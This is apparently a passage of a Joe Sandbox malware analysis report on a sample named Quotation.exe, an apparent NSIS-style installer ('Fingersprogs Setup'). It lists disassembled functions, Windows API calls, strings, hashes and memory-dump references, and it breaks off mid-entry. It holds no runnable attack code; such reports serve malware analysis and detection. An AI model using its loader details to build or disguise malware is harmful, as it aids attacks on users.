Opcode ID: 5b032911993fa6072ca7f20f73d4f3d6e0cff76cb04f630808d27ad5f640f473
Instruction ID: 64caea1e5fba35c947d9094266ac5fc002638ab42ea644ca00d5fa91912821bd
Opcode Fuzzy Hash: 5b032911993fa6072ca7f20f73d4f3d6e0cff76cb04f630808d27ad5f640f473
Instruction Fuzzy Hash: 7511D511B0063156DB30672A8C4097772E8DF69761756443BFDC6E32C0F77D8D9192B9

Function 00405739 Relevance: 12.1, APIs: 8, Instructions: 70COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00405756
GetSysColor.USER32 ref: 0040578F
SetTextColor.GDI32(?), ref: 004057A2
SetBkMode.GDI32(?,?), ref: 004057AE
GetSysColor.USER32(?), ref: 004057C2
SetBkColor.GDI32(?,?), ref: 004057D8
DeleteObject.GDI32(?), ref: 004057F4
CreateBrushIndirect.GDI32(?), ref: 004057FE

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: bf0799ea3bd6f053e04a74c3ecacf9df28762d59f89d86d460fcd2570ffda868
Instruction ID: 26ea8d1a65f0c358df8059d13c2b59527feb86654ff2728a298fdc5f00fd0ae6
Opcode Fuzzy Hash: bf0799ea3bd6f053e04a74c3ecacf9df28762d59f89d86d460fcd2570ffda868
Instruction Fuzzy Hash: E221D675500B049FDB649F28DA4895BB7F4EF45711B108A3EE896A26A0DB38E814DF28

Function 0040362D Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,000000FA,00000000), ref: 0040364B
MulDiv.KERNEL32(00124478,00000064,00124478), ref: 00403673
wsprintfW.USER32 ref: 00403683
SetWindowTextW.USER32(?,?), ref: 00403693
SetDlgItemTextW.USER32(?,00000406,?), ref: 004036A5

Strings

verifying installer: %d%%, xrefs: 0040367D

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 047d2cc0e248829387beeb5a8e07bbe74402e6ee51346e78a70c3337b09d8a04
Instruction ID: 44471e5cb11ab05bb0c6ce4c76b363bdac3f6882ce80e8a3b6daee8e8afc751d
Opcode Fuzzy Hash: 047d2cc0e248829387beeb5a8e07bbe74402e6ee51346e78a70c3337b09d8a04
Instruction Fuzzy Hash: BE018F71540208BBDF20AF60DE45BAA3B28A700305F00803AF642B51E0DBB58554CF4C

Function 700210C7 Relevance: 8.9, APIs: 7, Instructions: 162memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 7002116B
GlobalFree.KERNEL32(00000000), ref: 700211AE
GlobalFree.KERNEL32(00000000), ref: 700211CD
GlobalAlloc.KERNEL32(00000040,?), ref: 700211E6
GlobalFree.KERNEL32 ref: 7002125C
GlobalFree.KERNEL32(?), ref: 700212A7
GlobalFree.KERNEL32(00000000), ref: 700212BF

Memory Dump Source

Source File: 00000000.00000002.1996808927.0000000070021000.00000020.00000001.01000000.00000006.sdmp, Offset: 70020000, based on PE: true

Associated: 00000000.00000002.1996786623.0000000070020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1996880927.0000000070024000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1996906021.0000000070026000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70020000_Quotation.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: c38fe23532219c782df549f43b99878dda0a68fc496c5926a130745c3691ef64
Instruction ID: 5b1403470f0257959a54df1a4c9ae88cf6cabc081a387e62fd2c3738876a7451
Opcode Fuzzy Hash: c38fe23532219c782df549f43b99878dda0a68fc496c5926a130745c3691ef64
Instruction Fuzzy Hash: EA51BA72500201EFD710CF69EC80AAE77E9FB68B22B204569F94AD7361D731E915CB94

Function 70021F1E Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 70021F51
lstrcpyW.KERNEL32(?,error,00001018,70021765,00000000,?), ref: 70021F71

Strings

s<u, xrefs: 70021F51
callback%d, xrefs: 70021F4B
error, xrefs: 70021F67, 70021F6F

Memory Dump Source

Source File: 00000000.00000002.1996808927.0000000070021000.00000020.00000001.01000000.00000006.sdmp, Offset: 70020000, based on PE: true

Associated: 00000000.00000002.1996786623.0000000070020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1996880927.0000000070024000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1996906021.0000000070026000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70020000_Quotation.jbxd

Similarity

API ID: lstrcpywsprintf
String ID: callback%d$error$s<u
API String ID: 2408954437-3671815815
Opcode ID: 09f60fcdaa538e109d5f7ab750ad9f60791295f8b7e6f2f19593b33027f2557f
Instruction ID: 135a1b4a07c3cd8661586b2a87fa0aaa5f964c3f1a4a3838a7a84e6bea79c879
Opcode Fuzzy Hash: 09f60fcdaa538e109d5f7ab750ad9f60791295f8b7e6f2f19593b33027f2557f
Instruction Fuzzy Hash: 45F08235204110AFD3048B04E988EBE73E6EF85721F1581A8FE5A97311C7B4AC818B91

Function 70022049 Relevance: 7.6, APIs: 5, Instructions: 129memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 700221BF

Part of subcall function 700212E1: lstrcpynW.KERNEL32(00000000,?,7002156A,?,700211C4,-000000A0), ref: 700212F1

GlobalAlloc.KERNEL32(00000040), ref: 7002212C
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 7002214C

Memory Dump Source

Source File: 00000000.00000002.1996808927.0000000070021000.00000020.00000001.01000000.00000006.sdmp, Offset: 70020000, based on PE: true

Associated: 00000000.00000002.1996786623.0000000070020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1996880927.0000000070024000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1996906021.0000000070026000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70020000_Quotation.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: 3562717f4ccf72c232665ad1fdddb6e26d2cd857cb373532633976aff65fbe33
Instruction ID: 0e47fa6a3ecd932a8c4dca6a6a71c636e9e70f77f9a0cdd09bb70caca6802b83
Opcode Fuzzy Hash: 3562717f4ccf72c232665ad1fdddb6e26d2cd857cb373532633976aff65fbe33
Instruction Fuzzy Hash: 1841F371405205FFC3119FB4EC84FEE77B9FB04B62BA0023DFA499A14AD7706591DAA0

Function 70021F7B Relevance: 7.5, APIs: 5, Instructions: 38memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,00000808,00000000,70022B4C,00000000,00000808), ref: 70021F8C
GlobalAlloc.KERNEL32(00000040,00000000), ref: 70021F97
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 70021FAB
GetProcAddress.KERNEL32(?,00000000), ref: 70021FB6
GlobalFree.KERNEL32(00000000), ref: 70021FBF

Memory Dump Source

Source File: 00000000.00000002.1996808927.0000000070021000.00000020.00000001.01000000.00000006.sdmp, Offset: 70020000, based on PE: true

Associated: 00000000.00000002.1996786623.0000000070020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1996880927.0000000070024000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1996906021.0000000070026000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70020000_Quotation.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 74514619470da0a281b810cb3f0625f6863a617b60f8bf6ab2b6db3637eb93a2
Instruction ID: a9ccd60bc8da06d12fa9bee9aecf5722f79b79c07a23df437a98741ec2b70a29
Opcode Fuzzy Hash: 74514619470da0a281b810cb3f0625f6863a617b60f8bf6ab2b6db3637eb93a2
Instruction Fuzzy Hash: B0F0AC33108118BFD6101BA7DC4CE57BE6CEB8B6FAB260255FB19D11A1C5B268818771

Function 00406534 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403CA1,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76F93420,004039A0), ref: 0040653A
CharPrevW.USER32(?,00000000), ref: 00406545
lstrcatW.KERNEL32(?,004082B0), ref: 00406557

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00406534

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-297319885
Opcode ID: d05188d841616a9e1b7d59f18f8490afccaafd82e288364c4b54bb9922993767
Instruction ID: 997ea4b4438496dccce44eacbb2634370b3c3ae0899ac86cf6792f2d8b8f87b4
Opcode Fuzzy Hash: d05188d841616a9e1b7d59f18f8490afccaafd82e288364c4b54bb9922993767
Instruction Fuzzy Hash: F7D05E31102924AFC2026B58AE08D9B77ACEF46341341406EFAC1B3160CB745D5287ED

Function 70021CC7 Relevance: 6.2, APIs: 4, Instructions: 209COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 70021D37
GlobalFree.KERNEL32(?), ref: 70021DF2
GlobalFree.KERNEL32(00000000), ref: 70021DF5
__alldvrm.LIBCMT ref: 70021E2F

Memory Dump Source

Source File: 00000000.00000002.1996808927.0000000070021000.00000020.00000001.01000000.00000006.sdmp, Offset: 70020000, based on PE: true

Associated: 00000000.00000002.1996786623.0000000070020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1996880927.0000000070024000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1996906021.0000000070026000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70020000_Quotation.jbxd

Similarity

API ID: FreeGlobal$__alldvrm
String ID:
API String ID: 482422042-0
Opcode ID: 31395a117a85d5f977612584bcb3da6e72a52fd76127e202fb0de92e166157dc
Instruction ID: 1ec609fd4f0335b70da1f7339461fb1b0b4ee32efd86c70c828940593a58c829
Opcode Fuzzy Hash: 31395a117a85d5f977612584bcb3da6e72a52fd76127e202fb0de92e166157dc
Instruction Fuzzy Hash: 42510532608305CED7119E75BD805EEB6FBABE8E33B21492EF44383305E7A19D818291

Function 00403367 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 00403378
GetTickCount.KERNEL32 ref: 00403397
CreateDialogParamW.USER32(0000006F,00000000,0040362D,00000000), ref: 004033B6
ShowWindow.USER32(00000000,00000005), ref: 004033C4

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 357b023d8aff776a3d5515b2d6cdf3b091415c345a00606534bd97e45556d1c1
Instruction ID: 5fb2c38a213eff1d2f515c73fe307429b33afba48c29838db2cc379488067e45
Opcode Fuzzy Hash: 357b023d8aff776a3d5515b2d6cdf3b091415c345a00606534bd97e45556d1c1
Instruction Fuzzy Hash: C9F0F870551700EBDB209F60EF8EB163AA8B740B02F505579F941B51F0DB788514CA5C

Function 00405842 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405852

Part of subcall function 004054C6: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004054D8

OleUninitialize.OLE32(00000404,00000000), ref: 0040589E

Part of subcall function 00401399: MulDiv.KERNEL32(?,00007530,00000000), ref: 004013F9
Part of subcall function 00401399: SendMessageW.USER32(?,00000402,00000000), ref: 00401409

Strings

Fingersprogs Setup: Installing, xrefs: 00405842

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: MessageSend$InitializeUninitialize
String ID: Fingersprogs Setup: Installing
API String ID: 1011633862-1250855830
Opcode ID: fae861af5de1a05301b375e788940b7af21e1eb504ad4c379f9acf3cdad0321b
Instruction ID: 8d413f420cbd2cda170a8e13f5886ccfc68e5e1a5fc2061566676394b2cd1e54
Opcode Fuzzy Hash: fae861af5de1a05301b375e788940b7af21e1eb504ad4c379f9acf3cdad0321b
Instruction Fuzzy Hash: 97F09077800A008EE3416B54AD01B6777A4EBD1305F09C53EEE88A62A1DB794C628A5E

Function 00406CEE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\Desktop,00403436,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Quotation.exe,C:\Users\user\Desktop\Quotation.exe,80000000,00000003), ref: 00406CF4
CharPrevW.USER32(?,00000000), ref: 00406D05

Strings

C:\Users\user\Desktop, xrefs: 00406CEE

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-2743851969
Opcode ID: 3a3825e1876a518aafdd43096896adb57dd8be29e1d638c1e9cc1f107b5b3402
Instruction ID: 8ca8e9e1e5128dac63b4d4f5950f4db4f9885d0bf84f26727eb387c0c5501f09
Opcode Fuzzy Hash: 3a3825e1876a518aafdd43096896adb57dd8be29e1d638c1e9cc1f107b5b3402
Instruction Fuzzy Hash: 75D05E31015924DBD7626B18ED059AF77A8EF0130030A846EE983E3164CB385C9187BD

Analysis Process: Quotation.exePID: 1212, Parent PID: 6964COMMON

Execution Graph

Execution Coverage:	9.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	166
Total number of Limit Nodes:	14

Executed Functions

Function 392B2338 Relevance: 6.0, Strings: 4, Instructions: 1038COMMON

Download Yara Rule

Strings

,DC8, xrefs: 392B2AC2
,DC8, xrefs: 392B2CCD
>C8U, xrefs: 392B2B8C
FC8, xrefs: 392B315A

Memory Dump Source

Source File: 00000005.00000002.2625198172.00000000392B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392b0000_Quotation.jbxd

Similarity

API ID:
String ID: ,DC8$,DC8$>C8U$FC8
API String ID: 0-1728873124
Opcode ID: cde3940df20981b6003293627ca1744d0b02d6a705f721173aa62d31cfb62e77
Instruction ID: b00315e9e53cea2eff84aeefad6e96e6d77bbc0ad43602177613d8dd3e15ffba
Opcode Fuzzy Hash: cde3940df20981b6003293627ca1744d0b02d6a705f721173aa62d31cfb62e77
Instruction Fuzzy Hash: 5A922638A007098FDB14DB68C694B9DBBF2EB49394F5484A9D409AF361DB75EC81CF90

Function 392B3108 Relevance: 3.0, Strings: 2, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,FC8, xrefs: 392B316C
FC8, xrefs: 392B315A

Memory Dump Source

Source File: 00000005.00000002.2625198172.00000000392B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392b0000_Quotation.jbxd

Similarity

API ID:
String ID: ,FC8$FC8
API String ID: 0-3820766305
Opcode ID: 0ca67c1a73199b94d3df9adff0c9490fc4b6dff818658e0ba4c17c8368121ee8
Instruction ID: e0a9295745ef18876ad167d8ddd554b6b73c3190d71bdad6eeb60e68a5bdd052
Opcode Fuzzy Hash: 0ca67c1a73199b94d3df9adff0c9490fc4b6dff818658e0ba4c17c8368121ee8
Instruction Fuzzy Hash: 3C323E35E10719CFDB15DB69C85499DB7B2FFC9340F60C69AE409AB210EB70AA85CF90

Function 000DA960 Relevance: 2.9, Instructions: 2893COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2596777509.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f29b1f577ea0b1bece77c615b1f7dbd4a778cecdf29b88d375bb1d0c9942f1a
Instruction ID: 80847d07ca8ab4aef6daf5b93d789eec9bd83daddbed6a0965da324818ab8e18
Opcode Fuzzy Hash: 9f29b1f577ea0b1bece77c615b1f7dbd4a778cecdf29b88d375bb1d0c9942f1a
Instruction Fuzzy Hash: 2463F831D10B1A8ADB11EF68C8945A9F7B1FF99300F51D79AE45877221FB70AAC4CB81

Function 000DB3B4 Relevance: 2.3, Instructions: 2336COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2596777509.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d208cf09e0df37517483444d093427093ce0c57647a8ea80caf0a9636eab6b13
Instruction ID: c61db22eb77a95481326178e87270137e6ed93b4cc844f3bc47f445e5a6fd5ea
Opcode Fuzzy Hash: d208cf09e0df37517483444d093427093ce0c57647a8ea80caf0a9636eab6b13
Instruction Fuzzy Hash: 6143E631D10B1A8ADB11EF68C8945A9F7B1FF99300F51D79AE45877221EB70AAC4CF81

Function 392B6698 Relevance: 2.1, Strings: 1, Instructions: 823COMMON

Download Yara Rule

Strings

,DC8, xrefs: 392B6F57

Memory Dump Source

Source File: 00000005.00000002.2625198172.00000000392B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392b0000_Quotation.jbxd

Similarity

API ID:
String ID: ,DC8
API String ID: 0-1332039390
Opcode ID: 12c4c3c4736388676c41e51db9261b54071589e2dbe69db0397c390393bd8a0b
Instruction ID: b86e64563afaac1f32fe42ac132346dd7d37062bc01a519e88c3089ed3f911b0
Opcode Fuzzy Hash: 12c4c3c4736388676c41e51db9261b54071589e2dbe69db0397c390393bd8a0b
Instruction Fuzzy Hash: 89628E34A00A059FEF04EB68C555A9DBBF2EF883A0F248569E405EF351DB75EC46CB90

Function 392B5648 Relevance: 1.8, Strings: 1, Instructions: 595COMMON

Download Yara Rule

Strings

$, xrefs: 392B5D54

Memory Dump Source

Source File: 00000005.00000002.2625198172.00000000392B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392b0000_Quotation.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 5a846c418d5c85bfabde32f15b8b2a48577501c1db0c980a6c35530ef4470871
Instruction ID: 3b7d75d3427e986695994d069281e0763b6d31c74587364da0860ce1c02e6aff
Opcode Fuzzy Hash: 5a846c418d5c85bfabde32f15b8b2a48577501c1db0c980a6c35530ef4470871
Instruction Fuzzy Hash: C422C235E006558FEF14DBA4C581A9EBBF2EF853A0F24856AD409AF345DB35EC42CB90

Function 392B7E20 Relevance: 1.7, Strings: 1, Instructions: 471COMMON

Download Yara Rule

Strings

DRC8, xrefs: 392B82A1

Memory Dump Source

Source File: 00000005.00000002.2625198172.00000000392B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392b0000_Quotation.jbxd

Similarity

API ID:
String ID: DRC8
API String ID: 0-2841399024
Opcode ID: b8bb48e9936d90a1d583aa1bcaaa99f665d96aebe06e214afc008e85ce879a9c
Instruction ID: cdbba6e08e83b56210363be23b6e24d294a788baad4eaa2c72e7a6bd8f338f48
Opcode Fuzzy Hash: b8bb48e9936d90a1d583aa1bcaaa99f665d96aebe06e214afc008e85ce879a9c
Instruction Fuzzy Hash: 0702D434B00A059FEF04DB69C55569EBBF2FF84790F248569E809AB381DB75EC42CB90

Function 000DE289 Relevance: 1.6, Strings: 1, Instructions: 334COMMON

Download Yara Rule

Strings

)9, xrefs: 000DE361

Memory Dump Source

